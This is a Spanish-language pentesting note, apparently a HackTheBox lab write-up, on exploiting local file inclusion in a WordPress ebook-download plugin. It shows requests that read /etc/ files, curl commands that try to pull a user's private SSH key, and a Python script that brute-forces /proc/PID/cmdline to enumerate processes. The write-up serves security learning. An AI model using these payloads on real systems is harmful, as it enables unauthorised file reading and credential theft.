> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-proc-logs-pentesting-web.md).

# LFI Proc Logs

## Explotación LFI

**Enumeración de archivos sensibles:** Listar los usuarios del sistema mediante /etc/passwd:

```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/

```

<figure><img src="/files/20adf96567479bed88b834131d7cf5e8ab8f9980" alt=""><figcaption></figcaption></figure>

Intentos de recuperar la clave SSH privada del usuario `token de usuario`:

```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"

```

Estos intentos probablemente fallan debido a permisos restringidos en estos archivos.

<figure><img src="/files/fd1f0311a2bdecbd68a6baa3fdb3ae00874d612b" alt=""><figcaption></figcaption></figure>

### **LFI - Proc**

**Exploración de proc** Creación de un script de Python para extraer información de procesos explorando `/proc/[PID]/cmdline`:

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb
def def_handler(sig, frame):
    print("/n/n[+]] Saliendo.../n")
    sys.exit(1)
# Registros de LFI Proc
signal.signal(signal.SIGINT, def_handler)
# Registros de LFI Proc
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("Ataque de fuerza bruta")
    p1.status("Iniciando ataque de fuerza bruta")
    sleep(2)
    for i in range(1, 1000):
        p1.status("Probando con la ruta /proc/%s/cmdline" % str(i))
        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)
        if len(r.content) > 82:
            print("-------------------------------------------------------------------------------------")
            log.info("PATH: /proc/%s/cmdline" % str(i))
            log.info("Longitud total: %s" %len(r.content))
            print(r.content)
            print("-------------------------------------------------------------------------------------")
if __name__ == '__main__':
    makeRequest()

```

Al analizar los procesos, el puerto 1337 se identifica como un servidor **gdbserver**.

<figure><img src="/files/0a0797d1d3aabc1a0f867750c583c4864414798e" alt=""><figcaption></figcaption></figure>


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